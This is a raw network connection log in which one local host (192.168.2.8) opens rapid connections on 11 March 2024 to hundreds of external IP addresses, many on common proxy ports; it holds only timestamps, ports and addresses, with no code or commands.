Mar 11, 2024 18:36:45.669755936 CET	50796	33572	192.168.2.8	162.214.121.173
Mar 11, 2024 18:36:45.669866085 CET	50797	8595	192.168.2.8	132.148.128.88
Mar 11, 2024 18:36:45.670192957 CET	50799	1372	192.168.2.8	159.223.166.21
Mar 11, 2024 18:36:45.670281887 CET	50798	8080	192.168.2.8	37.120.192.154
Mar 11, 2024 18:36:45.670311928 CET	50800	80	192.168.2.8	104.27.37.131
Mar 11, 2024 18:36:45.670648098 CET	50801	5678	192.168.2.8	79.7.101.98
Mar 11, 2024 18:36:45.670648098 CET	50802	13276	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:45.670706034 CET	50803	1080	192.168.2.8	103.47.93.194
Mar 11, 2024 18:36:45.670717955 CET	80	50472	104.24.35.152	192.168.2.8
Mar 11, 2024 18:36:45.670950890 CET	50804	80	192.168.2.8	89.31.143.12
Mar 11, 2024 18:36:45.671104908 CET	50805	4145	192.168.2.8	192.111.134.10
Mar 11, 2024 18:36:45.671191931 CET	15673	50392	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:45.671221972 CET	50806	4145	192.168.2.8	185.169.181.25
Mar 11, 2024 18:36:45.671401978 CET	50807	38817	192.168.2.8	77.48.23.181
Mar 11, 2024 18:36:45.671524048 CET	80	50472	104.24.35.152	192.168.2.8
Mar 11, 2024 18:36:45.671540022 CET	80	50499	3.127.62.252	192.168.2.8
Mar 11, 2024 18:36:45.671634912 CET	15673	50392	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:45.671641111 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:45.671766043 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:45.671766996 CET	50472	80	192.168.2.8	104.24.35.152
Mar 11, 2024 18:36:45.672008991 CET	80	50472	104.24.35.152	192.168.2.8
Mar 11, 2024 18:36:45.672090054 CET	50472	80	192.168.2.8	104.24.35.152
Mar 11, 2024 18:36:45.672091007 CET	50809	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:45.672240973 CET	50808	2233	192.168.2.8	104.131.77.66
Mar 11, 2024 18:36:45.672375917 CET	50810	80	192.168.2.8	149.102.130.120
Mar 11, 2024 18:36:45.672719955 CET	50812	9002	192.168.2.8	39.165.0.137
Mar 11, 2024 18:36:45.672749043 CET	50811	8080	192.168.2.8	115.96.208.124
Mar 11, 2024 18:36:45.672899961 CET	50813	4145	192.168.2.8	142.54.232.6
Mar 11, 2024 18:36:45.672995090 CET	5678	49749	122.152.53.25	192.168.2.8
Mar 11, 2024 18:36:45.673248053 CET	50814	8181	192.168.2.8	103.152.232.99
Mar 11, 2024 18:36:45.673248053 CET	50815	34227	192.168.2.8	162.214.102.195
Mar 11, 2024 18:36:45.673402071 CET	5836	50460	185.158.248.95	192.168.2.8
Mar 11, 2024 18:36:45.673429966 CET	50816	8080	192.168.2.8	125.26.183.79
Mar 11, 2024 18:36:45.673543930 CET	50817	4145	192.168.2.8	103.210.35.40
Mar 11, 2024 18:36:45.673943043 CET	50819	8080	192.168.2.8	177.229.210.50
Mar 11, 2024 18:36:45.673948050 CET	50818	80	192.168.2.8	188.40.44.95
Mar 11, 2024 18:36:45.673948050 CET	50820	4985	192.168.2.8	82.223.121.72
Mar 11, 2024 18:36:45.674644947 CET	80	50471	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.674793005 CET	50821	38586	192.168.2.8	160.153.245.187
Mar 11, 2024 18:36:45.674817085 CET	50822	46919	192.168.2.8	51.15.16.96
Mar 11, 2024 18:36:45.674849033 CET	4145	50402	103.66.233.225	192.168.2.8
Mar 11, 2024 18:36:45.674880981 CET	50471	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:45.674932003 CET	50471	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:45.674977064 CET	49887	16379	192.168.2.8	51.15.254.129
Mar 11, 2024 18:36:45.674978971 CET	49900	8090	192.168.2.8	119.28.60.64
Mar 11, 2024 18:36:45.675009966 CET	49928	8080	192.168.2.8	57.128.163.242
Mar 11, 2024 18:36:45.675028086 CET	49901	8080	192.168.2.8	103.153.232.41
Mar 11, 2024 18:36:45.675028086 CET	49890	8080	192.168.2.8	103.147.247.79
Mar 11, 2024 18:36:45.675029039 CET	49897	8080	192.168.2.8	95.47.149.8
Mar 11, 2024 18:36:45.675843954 CET	50823	32650	192.168.2.8	103.216.51.36
Mar 11, 2024 18:36:45.676037073 CET	50824	999	192.168.2.8	38.56.23.33
Mar 11, 2024 18:36:45.676611900 CET	80	50333	54.152.3.36	192.168.2.8
Mar 11, 2024 18:36:45.676789999 CET	50825	18129	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.676839113 CET	50826	3629	192.168.2.8	177.86.64.1
Mar 11, 2024 18:36:45.677530050 CET	50827	4145	192.168.2.8	72.210.221.197
Mar 11, 2024 18:36:45.677560091 CET	50828	8080	192.168.2.8	183.89.79.25
Mar 11, 2024 18:36:45.677998066 CET	50830	5678	192.168.2.8	93.182.76.244
Mar 11, 2024 18:36:45.677999973 CET	50829	1080	192.168.2.8	176.115.79.195
Mar 11, 2024 18:36:45.678190947 CET	50831	8089	192.168.2.8	111.225.153.135
Mar 11, 2024 18:36:45.678447008 CET	80	50333	54.152.3.36	192.168.2.8
Mar 11, 2024 18:36:45.679048061 CET	50333	80	192.168.2.8	54.152.3.36
Mar 11, 2024 18:36:45.679898024 CET	50833	8090	192.168.2.8	89.230.92.9
Mar 11, 2024 18:36:45.679898977 CET	50832	4145	192.168.2.8	174.77.111.197
Mar 11, 2024 18:36:45.680047035 CET	50834	3128	192.168.2.8	5.34.201.244
Mar 11, 2024 18:36:45.680284023 CET	50835	80	192.168.2.8	104.16.241.204
Mar 11, 2024 18:36:45.680354118 CET	80	50401	36.92.193.189	192.168.2.8
Mar 11, 2024 18:36:45.681425095 CET	5775	49916	72.10.160.92	192.168.2.8
Mar 11, 2024 18:36:45.681454897 CET	50836	999	192.168.2.8	190.217.7.8
Mar 11, 2024 18:36:45.681838036 CET	50837	8080	192.168.2.8	187.228.145.138
Mar 11, 2024 18:36:45.681843042 CET	50838	53343	192.168.2.8	66.23.233.210
Mar 11, 2024 18:36:45.681902885 CET	50839	26693	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.682369947 CET	80	50300	104.18.161.122	192.168.2.8
Mar 11, 2024 18:36:45.682406902 CET	80	49912	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.682482958 CET	80	49912	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.682887077 CET	50840	80	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:45.683108091 CET	50841	80	192.168.2.8	50.174.145.14
Mar 11, 2024 18:36:45.683984995 CET	50842	999	192.168.2.8	190.211.250.131
Mar 11, 2024 18:36:45.683986902 CET	50843	54393	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:45.684117079 CET	50844	46097	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:45.684119940 CET	80	50520	188.166.56.246	192.168.2.8
Mar 11, 2024 18:36:45.684313059 CET	50520	80	192.168.2.8	188.166.56.246
Mar 11, 2024 18:36:45.684586048 CET	80	50485	104.27.83.183	192.168.2.8
Mar 11, 2024 18:36:45.684616089 CET	50520	80	192.168.2.8	188.166.56.246
Mar 11, 2024 18:36:45.684633970 CET	80	50485	104.27.83.183	192.168.2.8
Mar 11, 2024 18:36:45.685010910 CET	80	50485	104.27.83.183	192.168.2.8
Mar 11, 2024 18:36:45.685029030 CET	50845	8080	192.168.2.8	112.78.170.250
Mar 11, 2024 18:36:45.685136080 CET	50485	80	192.168.2.8	104.27.83.183
Mar 11, 2024 18:36:45.685586929 CET	50485	80	192.168.2.8	104.27.83.183
Mar 11, 2024 18:36:45.685687065 CET	50846	28723	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:45.686016083 CET	80	50508	173.245.49.27	192.168.2.8
Mar 11, 2024 18:36:45.686028957 CET	80	50508	173.245.49.27	192.168.2.8
Mar 11, 2024 18:36:45.686065912 CET	18080	50578	54.178.159.199	192.168.2.8
Mar 11, 2024 18:36:45.686131001 CET	3128	50439	59.15.28.76	192.168.2.8
Mar 11, 2024 18:36:45.686157942 CET	50578	18080	192.168.2.8	54.178.159.199
Mar 11, 2024 18:36:45.686233997 CET	50508	80	192.168.2.8	173.245.49.27
Mar 11, 2024 18:36:45.686314106 CET	50439	3128	192.168.2.8	59.15.28.76
Mar 11, 2024 18:36:45.686523914 CET	50439	3128	192.168.2.8	59.15.28.76
Mar 11, 2024 18:36:45.686525106 CET	50578	18080	192.168.2.8	54.178.159.199
Mar 11, 2024 18:36:45.686777115 CET	80	50508	173.245.49.27	192.168.2.8
Mar 11, 2024 18:36:45.686948061 CET	50508	80	192.168.2.8	173.245.49.27
Mar 11, 2024 18:36:45.687017918 CET	50847	1080	192.168.2.8	188.255.245.205
Mar 11, 2024 18:36:45.687113047 CET	50848	84	192.168.2.8	103.255.145.62
Mar 11, 2024 18:36:45.687865019 CET	50849	9090	192.168.2.8	38.10.69.109
Mar 11, 2024 18:36:45.688044071 CET	50850	8080	192.168.2.8	46.105.35.193
Mar 11, 2024 18:36:45.688791037 CET	16379	50539	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:45.688886881 CET	50539	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:45.688980103 CET	50539	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:45.689179897 CET	3128	49770	46.245.77.52	192.168.2.8
Mar 11, 2024 18:36:45.689302921 CET	50852	80	192.168.2.8	34.75.202.63
Mar 11, 2024 18:36:45.689331055 CET	50851	8080	192.168.2.8	103.69.151.189
Mar 11, 2024 18:36:45.689502001 CET	50853	60775	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:45.690293074 CET	50855	21355	192.168.2.8	67.213.212.36
Mar 11, 2024 18:36:45.690294981 CET	50854	999	192.168.2.8	38.156.233.77
Mar 11, 2024 18:36:45.690612078 CET	49978	8080	192.168.2.8	92.118.132.125
Mar 11, 2024 18:36:45.690619946 CET	49899	49806	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:45.690624952 CET	49904	32100	192.168.2.8	50.233.111.162
Mar 11, 2024 18:36:45.690627098 CET	49902	55443	192.168.2.8	202.165.47.90
Mar 11, 2024 18:36:45.690629959 CET	49965	13623	192.168.2.8	36.255.104.1
Mar 11, 2024 18:36:45.690635920 CET	49906	42931	192.168.2.8	88.211.85.169
Mar 11, 2024 18:36:45.690639973 CET	49898	5678	192.168.2.8	173.224.20.136
Mar 11, 2024 18:36:45.690654039 CET	80	50676	172.67.181.97	192.168.2.8
Mar 11, 2024 18:36:45.690682888 CET	49907	5484	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:45.690853119 CET	50676	80	192.168.2.8	172.67.181.97
Mar 11, 2024 18:36:45.690929890 CET	50676	80	192.168.2.8	172.67.181.97
Mar 11, 2024 18:36:45.691982031 CET	50857	4145	192.168.2.8	82.137.244.59
Mar 11, 2024 18:36:45.692059040 CET	50856	8080	192.168.2.8	177.128.212.190
Mar 11, 2024 18:36:45.693460941 CET	80	50193	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:45.693486929 CET	50859	1080	192.168.2.8	167.249.254.70
Mar 11, 2024 18:36:45.693653107 CET	50858	8080	192.168.2.8	125.209.88.46
Mar 11, 2024 18:36:45.694235086 CET	50861	5931	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.694257021 CET	50860	8080	192.168.2.8	188.132.222.167
Mar 11, 2024 18:36:45.694588900 CET	80	50512	51.75.74.18	192.168.2.8
Mar 11, 2024 18:36:45.694789886 CET	50512	80	192.168.2.8	51.75.74.18
Mar 11, 2024 18:36:45.694941998 CET	50512	80	192.168.2.8	51.75.74.18
Mar 11, 2024 18:36:45.695270061 CET	50862	3128	192.168.2.8	5.189.158.162
Mar 11, 2024 18:36:45.696011066 CET	50864	4145	192.168.2.8	177.125.206.40
Mar 11, 2024 18:36:45.696022034 CET	50863	80	192.168.2.8	174.126.217.110
Mar 11, 2024 18:36:45.696250916 CET	80	50193	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:45.696711063 CET	50865	80	192.168.2.8	89.36.114.38
Mar 11, 2024 18:36:45.697024107 CET	50866	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:45.697514057 CET	50867	998	192.168.2.8	181.78.85.45
Mar 11, 2024 18:36:45.698107004 CET	50868	8000	192.168.2.8	128.199.184.169
Mar 11, 2024 18:36:45.699417114 CET	25675	50628	92.204.134.38	192.168.2.8
Mar 11, 2024 18:36:45.699557066 CET	50628	25675	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.699682951 CET	50628	25675	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.701534986 CET	50869	10049	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:45.701796055 CET	50870	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:45.701967001 CET	50871	80	192.168.2.8	50.168.72.122
Mar 11, 2024 18:36:45.702049017 CET	50873	58851	192.168.2.8	85.25.177.53
Mar 11, 2024 18:36:45.702352047 CET	50874	4145	192.168.2.8	101.109.251.42
Mar 11, 2024 18:36:45.702352047 CET	50875	8085	192.168.2.8	103.105.55.170
Mar 11, 2024 18:36:45.702601910 CET	50872	8080	192.168.2.8	159.192.138.170
Mar 11, 2024 18:36:45.702831984 CET	26976	50434	124.198.74.90	192.168.2.8
Mar 11, 2024 18:36:45.702949047 CET	4153	50474	177.72.82.47	192.168.2.8
Mar 11, 2024 18:36:45.702956915 CET	50434	26976	192.168.2.8	124.198.74.90
Mar 11, 2024 18:36:45.705585003 CET	80	50584	50.173.140.148	192.168.2.8
Mar 11, 2024 18:36:45.706258059 CET	49908	13003	192.168.2.8	192.99.207.129
Mar 11, 2024 18:36:45.706259012 CET	49710	44607	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:45.706274033 CET	49910	9091	192.168.2.8	103.112.128.37
Mar 11, 2024 18:36:45.706275940 CET	49914	80	192.168.2.8	165.154.236.214
Mar 11, 2024 18:36:45.706479073 CET	10801	50651	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.706528902 CET	5678	50514	101.95.182.26	192.168.2.8
Mar 11, 2024 18:36:45.707585096 CET	3128	50183	161.97.132.227	192.168.2.8
Mar 11, 2024 18:36:45.709152937 CET	80	50590	50.222.245.41	192.168.2.8
Mar 11, 2024 18:36:45.712256908 CET	3128	50377	220.194.189.144	192.168.2.8
Mar 11, 2024 18:36:45.713141918 CET	50377	3128	192.168.2.8	220.194.189.144
Mar 11, 2024 18:36:45.714093924 CET	4019	50504	171.235.166.222	192.168.2.8
Mar 11, 2024 18:36:45.714276075 CET	15303	50621	184.178.172.5	192.168.2.8
Mar 11, 2024 18:36:45.714385986 CET	50504	4019	192.168.2.8	171.235.166.222
Mar 11, 2024 18:36:45.714386940 CET	50621	15303	192.168.2.8	184.178.172.5
Mar 11, 2024 18:36:45.714534044 CET	80	50552	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:45.714683056 CET	50552	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:45.716301918 CET	80	50348	104.25.167.88	192.168.2.8
Mar 11, 2024 18:36:45.717921972 CET	50876	9191	192.168.2.8	51.83.184.241
Mar 11, 2024 18:36:45.719064951 CET	1081	50544	5.252.23.220	192.168.2.8
Mar 11, 2024 18:36:45.719157934 CET	50544	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:45.719249964 CET	80	50686	104.25.42.178	192.168.2.8
Mar 11, 2024 18:36:45.719422102 CET	50877	8080	192.168.2.8	84.241.8.234
Mar 11, 2024 18:36:45.719463110 CET	8081	49722	154.72.90.74	192.168.2.8
Mar 11, 2024 18:36:45.719495058 CET	50686	80	192.168.2.8	104.25.42.178
Mar 11, 2024 18:36:45.719995022 CET	50880	8180	192.168.2.8	194.213.208.226
Mar 11, 2024 18:36:45.720189095 CET	50879	9080	192.168.2.8	38.54.95.19
Mar 11, 2024 18:36:45.720190048 CET	50878	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:45.720753908 CET	50434	26976	192.168.2.8	124.198.74.90
Mar 11, 2024 18:36:45.721043110 CET	50377	3128	192.168.2.8	220.194.189.144
Mar 11, 2024 18:36:45.721087933 CET	10003	49994	147.75.34.86	192.168.2.8
Mar 11, 2024 18:36:45.721479893 CET	50881	80	192.168.2.8	50.174.145.12
Mar 11, 2024 18:36:45.721479893 CET	50882	8080	192.168.2.8	103.214.219.23
Mar 11, 2024 18:36:45.721606016 CET	50544	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:45.721647978 CET	8888	50071	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:45.721739054 CET	50071	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:45.721748114 CET	1080	50251	54.212.22.168	192.168.2.8
Mar 11, 2024 18:36:45.721837044 CET	50686	80	192.168.2.8	104.25.42.178
Mar 11, 2024 18:36:45.721874952 CET	49968	8888	192.168.2.8	51.15.242.202
Mar 11, 2024 18:36:45.721874952 CET	49911	9090	192.168.2.8	45.90.104.150
Mar 11, 2024 18:36:45.721874952 CET	49985	45639	192.168.2.8	103.212.93.241
Mar 11, 2024 18:36:45.721874952 CET	50100	7853	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:45.721878052 CET	50117	80	192.168.2.8	50.145.6.36
Mar 11, 2024 18:36:45.721899986 CET	49984	1080	192.168.2.8	202.142.167.210
Mar 11, 2024 18:36:45.721910000 CET	49918	3128	192.168.2.8	5.252.23.249
Mar 11, 2024 18:36:45.721904993 CET	49920	10710	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:45.721910954 CET	49924	9510	192.168.2.8	92.247.12.136
Mar 11, 2024 18:36:45.721913099 CET	49923	3128	192.168.2.8	178.158.166.161
Mar 11, 2024 18:36:45.721934080 CET	49913	8080	192.168.2.8	46.0.203.186
Mar 11, 2024 18:36:45.722059965 CET	49925	45883	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:45.722191095 CET	50071	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:45.722696066 CET	15673	50169	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:45.723125935 CET	50883	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:45.723710060 CET	50885	5432	192.168.2.8	45.196.148.67
Mar 11, 2024 18:36:45.723710060 CET	50884	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:45.723967075 CET	80	50356	172.67.231.3	192.168.2.8
Mar 11, 2024 18:36:45.723983049 CET	80	50562	31.43.179.160	192.168.2.8
Mar 11, 2024 18:36:45.724036932 CET	80	50562	31.43.179.160	192.168.2.8
Mar 11, 2024 18:36:45.724143028 CET	9090	50479	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:45.724390984 CET	80	50562	31.43.179.160	192.168.2.8
Mar 11, 2024 18:36:45.724483013 CET	50479	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:45.724484921 CET	50562	80	192.168.2.8	31.43.179.160
Mar 11, 2024 18:36:45.724558115 CET	80	50693	104.19.225.70	192.168.2.8
Mar 11, 2024 18:36:45.724729061 CET	50562	80	192.168.2.8	31.43.179.160
Mar 11, 2024 18:36:45.724729061 CET	50693	80	192.168.2.8	104.19.225.70
Mar 11, 2024 18:36:45.724998951 CET	50479	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:45.725138903 CET	50693	80	192.168.2.8	104.19.225.70
Mar 11, 2024 18:36:45.725615025 CET	3128	50560	213.131.230.161	192.168.2.8
Mar 11, 2024 18:36:45.725642920 CET	50886	16795	192.168.2.8	162.144.121.232
Mar 11, 2024 18:36:45.725923061 CET	50887	999	192.168.2.8	179.43.94.238
Mar 11, 2024 18:36:45.726136923 CET	15673	50549	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:45.726188898 CET	5432	50399	45.196.151.84	192.168.2.8
Mar 11, 2024 18:36:45.726207018 CET	50552	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:45.726217985 CET	50549	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:45.726258039 CET	9090	49867	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:45.726378918 CET	5432	50399	45.196.151.84	192.168.2.8
Mar 11, 2024 18:36:45.726392031 CET	5432	50399	45.196.151.84	192.168.2.8
Mar 11, 2024 18:36:45.726548910 CET	50549	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:45.726613998 CET	50399	5432	192.168.2.8	45.196.151.84
Mar 11, 2024 18:36:45.726617098 CET	50251	1080	192.168.2.8	54.212.22.168
Mar 11, 2024 18:36:45.726617098 CET	50621	15303	192.168.2.8	184.178.172.5
Mar 11, 2024 18:36:45.726701975 CET	50399	5432	192.168.2.8	45.196.151.84
Mar 11, 2024 18:36:45.726846933 CET	50504	4019	192.168.2.8	171.235.166.222
Mar 11, 2024 18:36:45.727150917 CET	50888	64742	192.168.2.8	72.167.221.157
Mar 11, 2024 18:36:45.727224112 CET	27639	50586	185.45.194.176	192.168.2.8
Mar 11, 2024 18:36:45.727253914 CET	50889	35158	192.168.2.8	103.245.205.33
Mar 11, 2024 18:36:45.727392912 CET	15673	50169	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:45.727648973 CET	50890	48678	192.168.2.8	180.131.242.221
Mar 11, 2024 18:36:45.728032112 CET	8888	50541	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:45.728307962 CET	50891	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:45.728390932 CET	50541	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:45.728555918 CET	18067	49950	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.728569031 CET	50892	999	192.168.2.8	45.191.75.186
Mar 11, 2024 18:36:45.728591919 CET	26353	49951	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:45.728669882 CET	50541	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:45.729413033 CET	16379	50243	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.729425907 CET	16379	50243	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.729441881 CET	50893	6969	192.168.2.8	95.217.222.213
Mar 11, 2024 18:36:45.729569912 CET	50243	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.729569912 CET	50243	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.729940891 CET	80	50380	172.67.3.98	192.168.2.8
Mar 11, 2024 18:36:45.731590986 CET	5678	49927	181.78.13.91	192.168.2.8
Mar 11, 2024 18:36:45.731605053 CET	8888	50071	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:45.731616020 CET	50894	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.732346058 CET	8880	50500	95.66.138.21	192.168.2.8
Mar 11, 2024 18:36:45.732592106 CET	50500	8880	192.168.2.8	95.66.138.21
Mar 11, 2024 18:36:45.733006001 CET	80	50384	104.24.193.186	192.168.2.8
Mar 11, 2024 18:36:45.733030081 CET	50500	8880	192.168.2.8	95.66.138.21
Mar 11, 2024 18:36:45.733355045 CET	4153	50545	45.226.0.2	192.168.2.8
Mar 11, 2024 18:36:45.733500004 CET	50895	34599	192.168.2.8	183.88.231.188
Mar 11, 2024 18:36:45.733778954 CET	50896	80	192.168.2.8	50.217.226.42
Mar 11, 2024 18:36:45.734428883 CET	50898	33383	192.168.2.8	128.199.221.91
Mar 11, 2024 18:36:45.734455109 CET	50897	8080	192.168.2.8	185.169.183.200
Mar 11, 2024 18:36:45.734750986 CET	50899	16844	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:45.734932899 CET	80	50391	104.25.81.82	192.168.2.8
Mar 11, 2024 18:36:45.735186100 CET	80	49893	50.223.239.166	192.168.2.8
Mar 11, 2024 18:36:45.735213041 CET	50900	999	192.168.2.8	138.121.15.229
Mar 11, 2024 18:36:45.735510111 CET	50901	3128	192.168.2.8	178.128.172.154
Mar 11, 2024 18:36:45.735807896 CET	50902	80	192.168.2.8	209.126.6.159
Mar 11, 2024 18:36:45.736368895 CET	50903	33192	192.168.2.8	217.21.148.50
Mar 11, 2024 18:36:45.736370087 CET	50904	14462	192.168.2.8	185.129.250.183
Mar 11, 2024 18:36:45.736516953 CET	30000	50203	161.97.74.176	192.168.2.8
Mar 11, 2024 18:36:45.736541033 CET	29197	50665	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:45.736722946 CET	50905	29796	192.168.2.8	54.36.122.16
Mar 11, 2024 18:36:45.737287998 CET	80	50587	104.25.87.42	192.168.2.8
Mar 11, 2024 18:36:45.737370014 CET	80	50585	185.238.228.202	192.168.2.8
Mar 11, 2024 18:36:45.737382889 CET	80	50585	185.238.228.202	192.168.2.8
Mar 11, 2024 18:36:45.737394094 CET	80	50587	104.25.87.42	192.168.2.8
Mar 11, 2024 18:36:45.737478971 CET	49936	80	192.168.2.8	14.142.36.210
Mar 11, 2024 18:36:45.737479925 CET	49926	80	192.168.2.8	118.222.104.135
Mar 11, 2024 18:36:45.737519979 CET	49937	8080	192.168.2.8	176.213.141.107
Mar 11, 2024 18:36:45.737520933 CET	50106	17893	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.737523079 CET	49939	18080	192.168.2.8	8.142.132.204
Mar 11, 2024 18:36:45.737734079 CET	49922	80	192.168.2.8	178.128.200.87
Mar 11, 2024 18:36:45.737761974 CET	50585	80	192.168.2.8	185.238.228.202
Mar 11, 2024 18:36:45.737785101 CET	49938	12446	192.168.2.8	148.72.209.174
Mar 11, 2024 18:36:45.737848043 CET	80	50587	104.25.87.42	192.168.2.8
Mar 11, 2024 18:36:45.737893105 CET	80	50585	185.238.228.202	192.168.2.8
Mar 11, 2024 18:36:45.737900972 CET	50587	80	192.168.2.8	104.25.87.42
Mar 11, 2024 18:36:45.737943888 CET	50587	80	192.168.2.8	104.25.87.42
Mar 11, 2024 18:36:45.738912106 CET	999	50618	45.65.138.48	192.168.2.8
Mar 11, 2024 18:36:45.738946915 CET	50906	64309	192.168.2.8	173.212.209.49
Mar 11, 2024 18:36:45.738989115 CET	50585	80	192.168.2.8	185.238.228.202
Mar 11, 2024 18:36:45.739089966 CET	50618	999	192.168.2.8	45.65.138.48
Mar 11, 2024 18:36:45.739495993 CET	50907	22645	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:45.739523888 CET	50618	999	192.168.2.8	45.65.138.48
Mar 11, 2024 18:36:45.740067005 CET	50909	57144	192.168.2.8	49.12.126.53
Mar 11, 2024 18:36:45.740067959 CET	50908	5020	192.168.2.8	202.164.209.69
Mar 11, 2024 18:36:45.740205050 CET	50910	8080	192.168.2.8	103.76.148.161
Mar 11, 2024 18:36:45.740447998 CET	50911	999	192.168.2.8	198.52.241.13
Mar 11, 2024 18:36:45.741085052 CET	26087	50667	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:45.741378069 CET	50912	12542	192.168.2.8	37.53.90.82
Mar 11, 2024 18:36:45.741504908 CET	31571	50668	72.10.160.170	192.168.2.8
Mar 11, 2024 18:36:45.741604090 CET	80	49889	50.174.145.11	192.168.2.8
Mar 11, 2024 18:36:45.741682053 CET	4153	50055	202.166.219.80	192.168.2.8
Mar 11, 2024 18:36:45.741694927 CET	4153	50055	202.166.219.80	192.168.2.8
Mar 11, 2024 18:36:45.741782904 CET	50913	4153	192.168.2.8	82.147.153.6
Mar 11, 2024 18:36:45.741864920 CET	80	50425	102.130.125.86	192.168.2.8
Mar 11, 2024 18:36:45.741902113 CET	80	50588	104.21.223.181	192.168.2.8
Mar 11, 2024 18:36:45.741933107 CET	80	50588	104.21.223.181	192.168.2.8
Mar 11, 2024 18:36:45.741944075 CET	50425	80	192.168.2.8	102.130.125.86
Mar 11, 2024 18:36:45.742085934 CET	50425	80	192.168.2.8	102.130.125.86
Mar 11, 2024 18:36:45.742455006 CET	80	50588	104.21.223.181	192.168.2.8
Mar 11, 2024 18:36:45.742494106 CET	50588	80	192.168.2.8	104.21.223.181
Mar 11, 2024 18:36:45.742511034 CET	3128	49752	8.209.255.13	192.168.2.8
Mar 11, 2024 18:36:45.742563963 CET	80	50016	162.159.242.138	192.168.2.8
Mar 11, 2024 18:36:45.742583990 CET	50588	80	192.168.2.8	104.21.223.181
Mar 11, 2024 18:36:45.742780924 CET	80	50612	50.174.214.219	192.168.2.8
Mar 11, 2024 18:36:45.742996931 CET	3128	50266	13.40.239.130	192.168.2.8
Mar 11, 2024 18:36:45.743053913 CET	50914	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:45.743366003 CET	50915	64384	192.168.2.8	195.154.43.221
Mar 11, 2024 18:36:45.743954897 CET	50916	999	192.168.2.8	200.24.130.138
Mar 11, 2024 18:36:45.743972063 CET	3128	49823	15.236.106.236	192.168.2.8
Mar 11, 2024 18:36:45.744026899 CET	17145	49963	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:45.744090080 CET	50917	80	192.168.2.8	47.93.121.200
Mar 11, 2024 18:36:45.745023966 CET	50918	26777	192.168.2.8	185.129.250.183
Mar 11, 2024 18:36:45.745867968 CET	80	50178	223.19.111.185	192.168.2.8
Mar 11, 2024 18:36:45.745904922 CET	80	50178	223.19.111.185	192.168.2.8
Mar 11, 2024 18:36:45.745973110 CET	80	50178	223.19.111.185	192.168.2.8
Mar 11, 2024 18:36:45.746504068 CET	50919	8080	192.168.2.8	103.125.240.237
Mar 11, 2024 18:36:45.746587992 CET	50178	80	192.168.2.8	223.19.111.185
